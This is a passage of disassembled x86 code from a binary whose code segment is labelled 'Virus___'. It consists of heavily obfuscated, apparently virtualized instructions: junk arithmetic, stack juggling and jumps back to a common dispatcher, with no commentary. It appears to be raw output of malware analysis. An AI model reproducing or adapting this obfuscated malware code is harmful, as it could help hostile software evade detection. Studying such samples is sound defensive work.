; CODE XREF: Virus___:0057A7B8j pop ecx sub ecx, 7FB46CF0h jmp loc_5753F5 ; --------------------------------------------------------------------------- loc_57B5A2: ; CODE XREF: Virus___:00578AB8j mov esi, 0D92C026Ch add ebp, esi pop esi xor eax, ebp pop ebp not eax inc eax add eax, 43C3D772h add ebp, eax jmp loc_5747D1 ; --------------------------------------------------------------------------- loc_57B5BC: ; CODE XREF: Virus___:0057CE6Cj mov [esp], ebx mov ebx, 40h jmp loc_574FA5 ; --------------------------------------------------------------------------- loc_57B5C9: ; CODE XREF: Virus___:00579634j add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 push edx mov edx, 4FC05141h push edi mov edi, 0B03FAEC3h jmp loc_573C60 ; --------------------------------------------------------------------------- loc_57B5FD: ; CODE XREF: Virus___:0057D55Bj pop esi add eax, 4 xchg eax, [esp] pop esp add edx, 4 sub edx, 2 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], cx jmp loc_57D82F ; --------------------------------------------------------------------------- loc_57B625: ; CODE XREF: Virus___:0057D6E3j mov ebx, ebp mov ebp, [esp] jmp loc_572E19 ; --------------------------------------------------------------------------- loc_57B62F: ; CODE XREF: Virus___:0057E02Fj mov dl, cl push eax mov ah, dl mov bl, ah pop eax pop edx pop ecx xor al, bl mov bx, [esp] add esp, 2 push small 54DCh mov [esp], dx sub esp, 4 jmp loc_57529F ; --------------------------------------------------------------------------- loc_57B652: ; CODE XREF: Virus___:0057587Ej xor eax, 0D9FC9B4Bh sub edx, eax pop eax push edx push ebp push edi mov edi, 1AA0075Bh jmp loc_57ADF3 ; --------------------------------------------------------------------------- loc_57B667: ; CODE XREF: Virus___:005779B3j pop esi jmp loc_57A154 ; --------------------------------------------------------------------------- loc_57B66D: ; CODE XREF: Virus___:0057EADBj push ebx mov bh, 0B6h sub al, bh jmp loc_574187 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_57775C ; --------------------------------------------------------------------------- loc_57B687: ; CODE XREF: Virus___:0057A4B8j mov ebx, eax push dword ptr [esp] pop eax push 37E6h mov [esp], eax mov eax, esp jmp loc_5766CB ; --------------------------------------------------------------------------- loc_57B69C: ; CODE XREF: Virus___:00575454j add ebx, 4 push 44Dh mov [esp], eax mov eax, 4 sub ebx, 6D374050h jmp loc_578DE0 ; --------------------------------------------------------------------------- loc_57B6BA: ; CODE XREF: Virus___:0057DB97j neg edx add edx, 0E00A1748h jmp loc_57DF4C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_57697F ; --------------------------------------------------------------------------- loc_57B6D7: ; CODE XREF: Virus___:00578A8Ej xor dword ptr [esp], 31255F4Fh pop eax xor eax, 31255F4Fh pop esi sub eax, 6471E8FFh add ecx, eax pop eax sub eax, 489C1E83h sub eax, ecx jmp loc_576FB2 ; --------------------------------------------------------------------------- loc_57B6F9: ; CODE XREF: Virus___:0057531Aj mov eax, 0CFC24DDCh jmp loc_57A1A5 ; --------------------------------------------------------------------------- loc_57B703: ; CODE XREF: Virus___:00576836j sub edi, 29657DBDh push ebx push edi mov edi, 4485756Bh mov ebx, edi pop edi sub ebx, 2156FA34h sub edi, ebx pop ebx jmp loc_57B475 ; --------------------------------------------------------------------------- loc_57B721: ; CODE XREF: Virus___:00574F08j and edi, 7E2D3BC0h dec edi neg edi xor edi, 2133200Fh xor edi, 9CC0CCCAh add edx, 5C83758Ah add edx, edi jmp loc_572B07 ; --------------------------------------------------------------------------- loc_57B743: ; CODE XREF: Virus___:0057DE96j mov esp, [esp] or [esp], al pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57B74F: ; CODE XREF: Virus___:0057BCFFj xchg esi, [esp] pop esp xor al, dh mov dx, [esp] push eax mov eax, esp add eax, 4 add eax, 2 xchg eax, [esp] pop esp jmp loc_57CFA8 ; --------------------------------------------------------------------------- loc_57B76F: ; CODE XREF: Virus___:005797DCj push ebp mov ebp, 55B016C8h add eax, ebp pop ebp pop ebx push ebx push esi mov esi, 3BDA6701h push ebp jmp loc_578DB2 ; --------------------------------------------------------------------------- loc_57B786: ; CODE XREF: Virus___:005766E8j pop esp jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57B78C: ; CODE XREF: Virus___:005777BAj mov eax, esi pop esi and eax, 7E5E3103h push 0 sub [esp], eax pop eax add eax, 771751Dh sub esp, 4 mov [esp], ebx mov ebx, 0F553441Fh xor eax, ebx pop ebx add ecx, eax jmp loc_57D1F6 ; --------------------------------------------------------------------------- loc_57B7BA: ; CODE XREF: Virus___:00574059j mov ebp, 5699452Ch add ebp, 0FA4432E6h mov edi, ebp pop ebp or edi, 3446237Eh jmp loc_576350 ; --------------------------------------------------------------------------- lodsb jmp loc_57376B ; --------------------------------------------------------------------------- loc_57B7D9: ; CODE XREF: Virus___:0057B862j pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_575A1E ; --------------------------------------------------------------------------- loc_57B7E8: ; CODE XREF: Virus___:00577E10j push 251Ch mov [esp], esi mov esi, 4 push esi push edx jmp loc_5762BD ; --------------------------------------------------------------------------- loc_57B7FC: ; CODE XREF: Virus___:00575C8Bj push ecx push dword ptr [esp+4] push dword ptr [esp] jmp loc_573AE9 ; --------------------------------------------------------------------------- loc_57B809: ; CODE XREF: Virus___:0057727Dj push esp jmp loc_57E293 ; --------------------------------------------------------------------------- loc_57B80F: ; CODE XREF: Virus___:00574859j or ebx, 44DD42A4h push 2852h mov [esp], ecx mov ecx, 3F6A7C8Eh add ecx, 5142B71h neg ecx xor ecx, 51C3127Fh shr ecx, 1 sub ecx, 0C22094FEh jmp loc_5784E5 ; --------------------------------------------------------------------------- loc_57B83D: ; CODE XREF: Virus___:00577926j pop ecx jmp loc_579124 ; --------------------------------------------------------------------------- loc_57B843: ; CODE XREF: Virus___:0057467Cj pop esp sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 add esi, ecx jmp loc_57B7D9 ; --------------------------------------------------------------------------- loc_57B867: ; CODE XREF: Virus___:0057C692j xchg ecx, ebp push ecx mov ecx, 1B1D4076h or ebp, ecx pop ecx push ebx jmp loc_57DAC4 ; --------------------------------------------------------------------------- loc_57B878: ; CODE XREF: Virus___:00576E11j pop ecx add bh, 1 xor al, bh pop ebx push ecx jmp loc_57B31F ; --------------------------------------------------------------------------- loc_57B885: ; CODE XREF: Virus___:0057528Aj add edx, ecx add eax, [edx] pop edx pop ecx push 7DCFh mov [esp], eax jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57B898: ; CODE XREF: Virus___:0057722Dj mov ebx, 4 push ebp mov ebp, ebx jmp loc_57B4AD ; --------------------------------------------------------------------------- loc_57B8A5: ; CODE XREF: Virus___:00579A6Fj push ebp jmp loc_57455D ; --------------------------------------------------------------------------- loc_57B8AB: ; CODE XREF: Virus___:0057A918j add esp, 4 pop dword ptr [esp] jmp loc_57E423 ; --------------------------------------------------------------------------- loc_57B8B6: ; CODE XREF: Virus___:00579C11j push esi mov esi, 1E11030h and esi, 4EFE1BD9h shr esi, 8 dec esi and esi, 28E22F0Ch xor esi, 2FE730D5h mov edi, esi pop esi jmp loc_5771CD ; --------------------------------------------------------------------------- loc_57B8DA: ; CODE XREF: Virus___:0057D278j add esi, 9C110F7Ah add ebx, esi mov esi, [esp] add esp, 4 jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57B8F0: ; CODE XREF: Virus___:0057717Ej xor ebp, 67D108CFh sub ebx, 6F7C47EAh add ebx, ebp push ebp jmp loc_575C6D ; --------------------------------------------------------------------------- loc_57B904: ; CODE XREF: Virus___:00579CA8j mov esi, 0F7B08ABh add esi, 1012755h not esi add esi, 5FC354BFh xor esi, 3D3D30F0h add esi, 8D85EBB6h add edx, esi mov esi, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_579879 ; --------------------------------------------------------------------------- loc_57B936: ; CODE XREF: Virus___:00579E3Bj pop ebp add ebx, edx pop edx add ebx, 4 xor ebx, [esp] jmp loc_57EDC9 ; --------------------------------------------------------------------------- loc_57B945: ; CODE XREF: Virus___:00574E8Aj add al, 0C4h add al, bl sub al, 0C4h pop ebx push eax mov al, 0D3h or al, 4Ah and al, 6Eh xor al, 0D6h neg al xor al, 7Bh add bl, 78h jmp loc_573E31 ; --------------------------------------------------------------------------- loc_57B961: ; CODE XREF: Virus___:0057383Cj add esp, 4 dec ecx push edx push edi mov edi, 4DA969FCh jmp loc_57EAF9 ; --------------------------------------------------------------------------- loc_57B974: ; CODE XREF: Virus___:005737A8j mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_57A810 ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_579137 ; --------------------------------------------------------------------------- loc_57B994: ; CODE XREF: Virus___:00572E7Ej xor esi, 40013066h push 4D2Bh mov [esp], edx mov edx, 0FEBFD0D8h jmp loc_577C44 ; --------------------------------------------------------------------------- loc_57B9AC: ; CODE XREF: Virus___:00579232j mov edx, [esp] push 7D3Eh jmp loc_5777FD ; --------------------------------------------------------------------------- loc_57B9B9: ; CODE XREF: Virus___:0057C564j dec edx add edx, 3E844B5Fh jmp loc_5777BF ; --------------------------------------------------------------------------- loc_57B9C5: ; CODE XREF: Virus___:0057CF6Cj mov ebx, 4F3E2317h push ebx jmp loc_579A8B ; --------------------------------------------------------------------------- loc_57B9D0: ; CODE XREF: Virus___:00575855j or edx, eax shl edx, 1 push dword ptr [edi+24h] push 45ADh mov [esp], ebp jmp loc_574852 ; --------------------------------------------------------------------------- loc_57B9E4: ; CODE XREF: Virus___:0057865Cj mov al, 28h push ecx mov ch, 96h mov bh, ch mov ecx, [esp] add esp, 4 jmp loc_577847 ; --------------------------------------------------------------------------- loc_57B9F9: ; CODE XREF: Virus___:0057E915j xor ebp, eax pop eax xor ecx, ebp pop ebp jmp loc_578E57 ; --------------------------------------------------------------------------- loc_57BA04: ; CODE XREF: Virus___:0057BB05j push ecx jmp loc_5735F4 ; --------------------------------------------------------------------------- loc_57BA0A: ; CODE XREF: Virus___:0057782Aj pop esp jmp loc_57668C ; --------------------------------------------------------------------------- loc_57BA10: ; CODE XREF: Virus___:0057650Cj pop ecx pop ebp xor [esp], ecx xor ecx, [esp] xor [esp], ecx mov ebp, [esp] add esp, 4 xchg ebp, [esp] jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57BA2C: ; CODE XREF: Virus___:00574A57j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57BA31: ; CODE XREF: Virus___:005742EEj pop ebp push ebp mov ebp, esp add ebp, 4 jmp loc_5748EA ; --------------------------------------------------------------------------- loc_57BA40: ; CODE XREF: Virus___:005749A7j mov [esp], ebx jmp loc_573AF4 ; --------------------------------------------------------------------------- loc_57BA48: ; CODE XREF: Virus___:00574E4Cj push dword ptr [esp] jmp loc_57AF6F ; --------------------------------------------------------------------------- loc_57BA50: ; CODE XREF: Virus___:005790B9j mov [esp], edi jmp loc_57A911 ; --------------------------------------------------------------------------- loc_57BA58: ; CODE XREF: Virus___:0057BD20j xchg ecx, [esp] mov esp, [esp] movsx ecx, al push 4C03h mov [esp], ecx jmp loc_57C2C8 ; --------------------------------------------------------------------------- loc_57BA6E: ; CODE XREF: Virus___:005743EFj not edi or edi, 33E15700h or edi, 58E52224h add edi, 12005Dh add ecx, edi pop edi push esi mov esi, 4 sub ecx, 0EDA7588h jmp loc_5784D8 ; --------------------------------------------------------------------------- loc_57BA96: ; CODE XREF: Virus___:00578A95j pop edi xchg eax, [esp] mov esp, [esp] sub [esp], al pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57BAA6: ; CODE XREF: Virus___:00579063j sub esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_576FEF ; --------------------------------------------------------------------------- loc_57BAB7: ; CODE XREF: Virus___:005798C2j sub bl, 4Ah push dx jmp loc_57A4BD ; --------------------------------------------------------------------------- loc_57BAC1: ; CODE XREF: Virus___:005750BEj push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp movzx ecx, ax push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax jmp loc_57C5DE ; --------------------------------------------------------------------------- loc_57BAE8: ; CODE XREF: Virus___:005739A8j push eax push esi mov esi, 1DC351B1h mov eax, 1DC351B5h jmp loc_578A02 ; --------------------------------------------------------------------------- mov cx, [esp] push 1E65h mov [esp], ecx jmp loc_57BA04 ; --------------------------------------------------------------------------- loc_57BB0A: ; CODE XREF: Virus___:0057AC5Dj add al, cl jmp loc_578E8F ; --------------------------------------------------------------------------- loc_57BB11: ; CODE XREF: Virus___:0057E599j shl edx, 1 push 3A67h mov [esp], esi sub esp, 4 mov [esp], eax push ebx mov ebx, 72536F7Ch or ebx, 2A7E24D4h or ebx, 75976882h inc ebx sub ebx, 7FFF7000h mov eax, ebx pop ebx push 268Bh mov [esp], eax push dword ptr [esp] pop esi jmp loc_57D5DB ; --------------------------------------------------------------------------- loc_57BB4E: ; CODE XREF: Virus___:00579BA3j sub ebp, 38806D8Fh pop ecx jmp loc_57EC65 ; --------------------------------------------------------------------------- loc_57BB5A: ; CODE XREF: Virus___:00575973j pop ebx jmp loc_577509 ; --------------------------------------------------------------------------- loc_57BB60: ; CODE XREF: Virus___:0057356Bj push dword ptr [esp] pop ebx jmp loc_57A046 ; --------------------------------------------------------------------------- loc_57BB69: ; CODE XREF: Virus___:00578FADj xor ebp, 7D1E6531h jmp loc_57C561 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_575691 ; --------------------------------------------------------------------------- loc_57BB7C: ; CODE XREF: Virus___:00579687j push 6165h mov [esp], ecx mov ecx, esp jmp loc_57551C ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_57D908 ; --------------------------------------------------------------------------- loc_57BB96: ; CODE XREF: Virus___:0057DC3Dj mov ebx, 4 jmp loc_57E2E1 ; --------------------------------------------------------------------------- loc_57BBA0: ; CODE XREF: Virus___:0057911Fj xchg edx, [esp] pop esp mul cx push small 4C5Fh mov [esp], dx push ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57BBB7: ; CODE XREF: Virus___:00576BAEj mov esi, [esp] jmp loc_57ABBB ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_574987 ; --------------------------------------------------------------------------- loc_57BBCF: ; CODE XREF: Virus___:0057BC37j add ebx, 4 jmp loc_57A5CF ; --------------------------------------------------------------------------- loc_57BBDA: ; CODE XREF: Virus___:0057D2F3j mov edx, 2A6E7A7Ah jmp loc_579E2D ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] jmp loc_576D85 ; --------------------------------------------------------------------------- loc_57BBEE: ; CODE XREF: Virus___:00574B98j push esp pop edx push ebp jmp loc_57388C ; --------------------------------------------------------------------------- loc_57BBF6: ; CODE XREF: Virus___:0057E46Aj add esp, 4 sub edx, 416C7597h jmp loc_57CF02 ; --------------------------------------------------------------------------- loc_57BC04: ; CODE XREF: Virus___:0057A1BDj sub ebx, eax jmp loc_57CC3A ; --------------------------------------------------------------------------- loc_57BC0B: ; CODE XREF: Virus___:0057E653j push ecx push 2A5Ch mov [esp], esi mov esi, 2862739Eh push 1FF4h mov [esp], ebx jmp loc_5763C3 ; --------------------------------------------------------------------------- loc_57BC26: ; CODE XREF: Virus___:00579DAFj pop dword ptr [esp] mov esp, [esp] movzx ecx, al sub esp, 4 mov [esp], ebx push esp pop ebx jmp loc_57BBCF ; --------------------------------------------------------------------------- loc_57BC3C: ; CODE XREF: Virus___:00577039j mov edi, 4 jmp loc_576A1A ; --------------------------------------------------------------------------- loc_57BC46: ; CODE XREF: Virus___:00575A19j sub ecx, 9760AA11h sub eax, 57557C72h sub eax, ecx add eax, 57557C72h pop ecx jmp loc_57D1DD ; --------------------------------------------------------------------------- mov esp, [esp] shr word ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57BC6B: ; CODE XREF: Virus___:0057A05Aj push edi mov edi, esp push 2F75h jmp loc_574BB8 ; --------------------------------------------------------------------------- loc_57BC78: ; CODE XREF: Virus___:0057EF19j mov edi, [esp] add esp, 4 loc_57BC7E: ; CODE XREF: Virus___:0057311Fj ; Virus___:00577E38j push ebx jmp loc_57A902 ; --------------------------------------------------------------------------- loc_57BC84: ; CODE XREF: Virus___:0057C823j add eax, edi pop edi mov ebp, eax pop eax and eax, ebp jmp loc_57DF6B ; --------------------------------------------------------------------------- loc_57BC91: ; CODE XREF: Virus___:00577210j xor [esp], ebp jmp loc_57C25A ; --------------------------------------------------------------------------- loc_57BC99: ; CODE XREF: Virus___:005747D3j mov edx, 46DC2B56h jmp loc_57ECE3 ; --------------------------------------------------------------------------- loc_57BCA3: ; CODE XREF: Virus___:00576CB4j pop esp jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57BCA9: ; CODE XREF: Virus___:0057D7B9j push ebp jmp loc_57A6CF ; --------------------------------------------------------------------------- loc_57BCAF: ; CODE XREF: Virus___:00578674j not ebp jmp loc_5778CD ; --------------------------------------------------------------------------- loc_57BCB6: ; CODE XREF: Virus___:00573C41j push cx mov ch, 85h add bl, ch pop cx add bl, al jmp loc_57A3AE ; --------------------------------------------------------------------------- loc_57BCC5: ; CODE XREF: Virus___:0057C0BEj xor ecx, [esp] xor [esp], ecx jmp loc_57505C ; --------------------------------------------------------------------------- loc_57BCD0: ; CODE XREF: Virus___:00574472j mov eax, [esp] jmp loc_57EB17 ; --------------------------------------------------------------------------- loc_57BCD8: ; CODE XREF: Virus___:00573CFEj mov cl, 6Ch jmp loc_575830 ; --------------------------------------------------------------------------- loc_57BCDF: ; CODE XREF: Virus___:005796ADj sub esp, 4 jmp loc_575697 ; --------------------------------------------------------------------------- loc_57BCE7: ; CODE XREF: Virus___:0057C269j xor eax, 0DAD7F0Dh push 78BCh mov [esp], ebx jmp loc_57D66B ; --------------------------------------------------------------------------- loc_57BCF9: ; CODE XREF: Virus___:005796FAj add esi, 4 jmp loc_57B74F ; --------------------------------------------------------------------------- loc_57BD04: ; CODE XREF: Virus___:0057396Cj mov [esp], ecx mov ecx, 0DFA3CB8h sub eax, ecx jmp loc_5788DB ; --------------------------------------------------------------------------- loc_57BD13: ; CODE XREF: Virus___:0057AE65j mov edx, [esp] add esp, 4 add ecx, 1539742Ch pop edx jmp loc_57BA58 ; --------------------------------------------------------------------------- loc_57BD25: ; CODE XREF: Virus___:0057CFE2j push esp mov eax, [esp] add esp, 4 push edi mov edi, 4 sub eax, 322121E0h add eax, edi add eax, 322121E0h pop edi add eax, 4 xchg eax, [esp] pop esp push 5BAh mov [esp], edx jmp loc_578976 ; --------------------------------------------------------------------------- loc_57BD58: ; CODE XREF: Virus___:00576497j mov eax, 72C923EDh add ebx, eax pop eax push ecx mov ecx, 7E393A82h add ebx, ecx pop ecx push ecx mov ecx, 7B7F3CE0h jmp loc_57A189 ; --------------------------------------------------------------------------- loc_57BD74: ; CODE XREF: Virus___:0057E525j or eax, 5DC74055h shr eax, 3 push ebx mov ebx, 6FD6491Dh add ebx, 7A9062E2h jmp loc_579E87 ; --------------------------------------------------------------------------- db 54h, 59h, 0E9h db 0Bh, 0DBh dw 0FFFFh ; --------------------------------------------------------------------------- loc_57BD94: ; CODE XREF: Virus___:0057A32Bj mov esi, 4 add ebx, esi pop esi xchg ebx, [esp] pop esp push 2DD6h mov [esp], edi push esi mov esi, esp add esi, 4 jmp loc_57E406 ; --------------------------------------------------------------------------- mov cx, [esp] push 3F3Fh mov [esp], esi mov esi, esp sub esp, 4 mov [esp], ebp push ebx jmp loc_57D501 ; --------------------------------------------------------------------------- loc_57BDD0: ; CODE XREF: Virus___:00574ADDj pop ecx jmp loc_577D94 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp push esp jmp loc_5788BF ; --------------------------------------------------------------------------- loc_57BDE1: ; CODE XREF: Virus___:0057ECE4j xor edx, 46DC2B57h add ebp, edx jmp loc_57B368 ; --------------------------------------------------------------------------- loc_57BDEE: ; CODE XREF: Virus___:0057CE23j pop edi xor edx, edi pop edi add eax, edx pop edx push 7ED0h mov [esp], ebx mov ebx, 7BCF765Ah push ecx push edi jmp loc_5762CF ; --------------------------------------------------------------------------- loc_57BE09: ; CODE XREF: Virus___:00576462j xchg ebx, [esp] pop esp jmp loc_57E651 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_57AD65 ; --------------------------------------------------------------------------- loc_57BE20: ; CODE XREF: Virus___:00578E70j mov bl, dh pop edx shl bl, 5 shr bl, 8 push dx mov dh, 0F7h add bl, dh pop dx sub esp, 4 mov [esp], edx mov dl, 0D4h jmp loc_57CFA1 ; --------------------------------------------------------------------------- loc_57BE41: ; CODE XREF: Virus___:00574A69j mov ebx, [esp] add esp, 4 sub bl, 0FCh sub bl, ch add bl, 0FCh push dword ptr [esp] pop ecx add esp, 4 jmp loc_57EA56 ; --------------------------------------------------------------------------- loc_57BE5B: ; CODE XREF: Virus___:00578A43j add edi, edx mov edx, [esp] add esp, 4 push edi jmp loc_57A39A ; --------------------------------------------------------------------------- loc_57BE69: ; CODE XREF: Virus___:00574774j add edx, eax jmp loc_577226 ; --------------------------------------------------------------------------- loc_57BE70: ; CODE XREF: Virus___:0057EEB1j pop esp jmp loc_57407D ; --------------------------------------------------------------------------- loc_57BE76: ; CODE XREF: Virus___:0057E1CAj pop esi jmp loc_574D30 ; --------------------------------------------------------------------------- loc_57BE7C: ; CODE XREF: Virus___:00576D35j push ecx mov ecx, 508228D6h xor ecx, 32BF593Ah and ecx, 550655D9h inc ecx jmp loc_57D34E ; --------------------------------------------------------------------------- loc_57BE94: ; CODE XREF: Virus___:0057C9F7j sub esp, 4 mov [esp], esi mov esi, 57A65FDBh sub esi, 4E749D1h sub esi, 38514079h inc esi not esi sub esi, 2627362h push edi mov edi, 1CD048F9h jmp loc_577E58 ; --------------------------------------------------------------------------- loc_57BEBF: ; CODE XREF: Virus___:0057661Cj mov ecx, 0CB1EA8DBh sub ebp, ecx jmp loc_57B05F ; --------------------------------------------------------------------------- loc_57BECB: ; CODE XREF: Virus___:0057456Aj pop edi dec ebp push edx mov edx, 41BD6E5h sub ebp, edx pop edx add eax, ebp mov ebp, [esp] push ecx mov ecx, esp jmp loc_5778BC ; --------------------------------------------------------------------------- loc_57BEE3: ; CODE XREF: Virus___:005771C8j xor esi, 4F7826h shl esi, 2 sub esi, 6E9715F3h shl esi, 3 xor esi, 9E20A66Eh mov ebx, esi pop esi xor ebx, ecx pop ecx add eax, 11194532h add eax, ebx sub eax, 11194532h pop ebx add eax, 2 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp add [esp], ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57BF27: ; CODE XREF: Virus___:0057A75Bj sub edi, 5FB8939h add ecx, edi pop edi xchg ecx, [esp] pop esp and [esp], eax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57BF3D: ; CODE XREF: Virus___:0057E081j add edx, 0FFFFFFFFh jmp loc_574164 ; --------------------------------------------------------------------------- loc_57BF45: ; CODE XREF: Virus___:00572E9Cj push edi mov edi, 4 jmp loc_57AA66 ; --------------------------------------------------------------------------- loc_57BF50: ; CODE XREF: Virus___:0057C1ABj mov eax, 4 sub ebx, eax jmp loc_57DFDC ; --------------------------------------------------------------------------- loc_57BF5C: ; CODE XREF: Virus___:0057CF9Cj add eax, edx pop edx add eax, 4 jmp loc_57C97D ; --------------------------------------------------------------------------- loc_57BF67: ; CODE XREF: Virus___:0057609Dj xor eax, edx mov edx, [esp] push esi mov esi, esp jmp loc_573B29 ; --------------------------------------------------------------------------- loc_57BF74: ; CODE XREF: Virus___:00575C9Cj xor ecx, 85A2F803h add ebx, ecx jmp loc_57D987 ; --------------------------------------------------------------------------- loc_57BF81: ; CODE XREF: Virus___:0057737Ej push edi sub esp, 4 mov [esp], esi push 0F6C7138h mov esi, [esp] add esp, 4 shl esi, 3 jmp loc_573239 ; --------------------------------------------------------------------------- loc_57BF9B: ; CODE XREF: Virus___:0057EF83j pop ecx add edx, 4 xchg edx, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_579BCC ; --------------------------------------------------------------------------- loc_57BFB0: ; CODE XREF: Virus___:0057D6F0j not edx push edx jmp loc_575921 ; --------------------------------------------------------------------------- loc_57BFB8: ; CODE XREF: Virus___:00575BCFj xchg eax, [esp] mov esp, [esp] mov ax, [esp] jmp loc_573EAA ; --------------------------------------------------------------------------- loc_57BFC7: ; CODE XREF: Virus___:00573A2Bj add ecx, 0FAADA394h mov edx, ecx jmp loc_5751B5 ; --------------------------------------------------------------------------- loc_57BFD4: ; CODE XREF: Virus___:005745DAj pop edx pop ecx add ecx, 27BD0F29h jmp loc_578446 ; --------------------------------------------------------------------------- loc_57BFE1: ; CODE XREF: Virus___:0057DDC1j inc edx push ecx jmp loc_579273 ; --------------------------------------------------------------------------- loc_57BFE8: ; CODE XREF: Virus___:00572F32j push dword ptr [esp] jmp loc_575A4C ; --------------------------------------------------------------------------- loc_57BFF0: ; CODE XREF: Virus___:0057999Fj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57BFF5: ; CODE XREF: Virus___:0057D3D9j sub esi, 8A2F2E00h mov ebp, esi mov esi, [esp] add esp, 4 and eax, ebp pop ebp shr eax, 10h xor eax, ecx sub esp, 4 mov [esp], eax push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] push ebp jmp loc_57D355 ; --------------------------------------------------------------------------- loc_57C025: ; CODE XREF: Virus___:005756B4j sub esi, 18AABB02h jmp loc_57E1C8 ; --------------------------------------------------------------------------- loc_57C030: ; CODE XREF: Virus___:005795F1j pop eax jmp loc_577627 ; --------------------------------------------------------------------------- loc_57C036: ; CODE XREF: Virus___:00577C97j pop ecx add ebp, edx jmp loc_57C248 ; --------------------------------------------------------------------------- loc_57C03E: ; CODE XREF: Virus___:00578A1Dj mov ecx, 6FFB1F87h sub ebx, ecx pop ecx add ebx, edx add ebx, 6FFB1F87h pop edx xchg ebx, [esp] pop esp or [edi+1Ch], esi mov esi, [esp] add esp, 4 jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57C061: ; CODE XREF: Virus___:00576989j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_577F19 ; --------------------------------------------------------------------------- loc_57C07A: ; CODE XREF: Virus___:005762EAj mov eax, [esp] add esp, 4 xor al, bl pop ebx jmp loc_578CCB ; --------------------------------------------------------------------------- loc_57C08B: ; CODE XREF: Virus___:00577543j sub esp, 4 mov [esp], esi push dword ptr [esp+4] jmp loc_5760A2 ; --------------------------------------------------------------------------- loc_57C09D: ; CODE XREF: Virus___:005773A5j mov esi, esp push ebx jmp loc_5771DA ; --------------------------------------------------------------------------- loc_57C0A5: ; CODE XREF: Virus___:0057CFB5j push edx mov edx, 6C4D3054h inc edx shr edx, 6 and edx, 34B368EDh xor edx, 0B120C3h add ecx, edx pop edx jmp loc_57BCC5 ; --------------------------------------------------------------------------- loc_57C0C3: ; CODE XREF: Virus___:005786CBj add edi, 71674E1Fh add edi, ebp jmp loc_575E92 ; --------------------------------------------------------------------------- loc_57C0D0: ; CODE XREF: Virus___:0057A184j push dword ptr [esp] pop ebx jmp loc_575CA9 ; --------------------------------------------------------------------------- loc_57C0D9: ; CODE XREF: Virus___:00575348j movzx ax, byte ptr [eax] sub esp, 4 mov [esp], edx push esp push dword ptr [esp] pop edx jmp loc_57EFD4 ; --------------------------------------------------------------------------- loc_57C0F0: ; CODE XREF: Virus___:0057D76Dj add esp, 4 xchg eax, [esp] mov esp, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx mov ebx, 8000h jmp loc_579010 ; --------------------------------------------------------------------------- loc_57C115: ; CODE XREF: Virus___:0057B452j add esp, 4 push ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ch, 0B7h add ch, 7Ah add ch, 0Bh jmp loc_572BF7 ; --------------------------------------------------------------------------- loc_57C13E: ; CODE XREF: Virus___:00576417j add ecx, 4 jmp loc_57A8D3 ; --------------------------------------------------------------------------- loc_57C149: ; CODE XREF: Virus___:00574D51j add esi, eax mov eax, [esp] jmp loc_57CFDA ; --------------------------------------------------------------------------- loc_57C153: ; CODE XREF: Virus___:0057C77Cj pop eax push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], ebp mov ebp, 15D718DFh shr ebp, 1 dec ebp neg ebp sub esp, 4 mov [esp], edx mov edx, 160766CEh shl edx, 2 push edx not dword ptr [esp] pop edx xor edx, 52F61749h jmp loc_575C4D ; --------------------------------------------------------------------------- loc_57C191: ; CODE XREF: Virus___:00576DE5j inc bl push eax mov ah, 0F3h push ecx mov cl, 7Dh push edx mov dh, 0F9h and cl, dh pop edx jmp loc_579038 ; --------------------------------------------------------------------------- loc_57C1A4: ; CODE XREF: Virus___:0057495Cj add ebx, 4 push eax jmp loc_57BF50 ; --------------------------------------------------------------------------- dd 16E9B32Ch db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57C1B7: ; CODE XREF: Virus___:005778F4j sub eax, 0EB13D8E0h sub ebx, eax jmp loc_57C2E7 ; --------------------------------------------------------------------------- loc_57C1C3: ; CODE XREF: Virus___:005740A0j pop edi pop dword ptr [esp] mov esp, 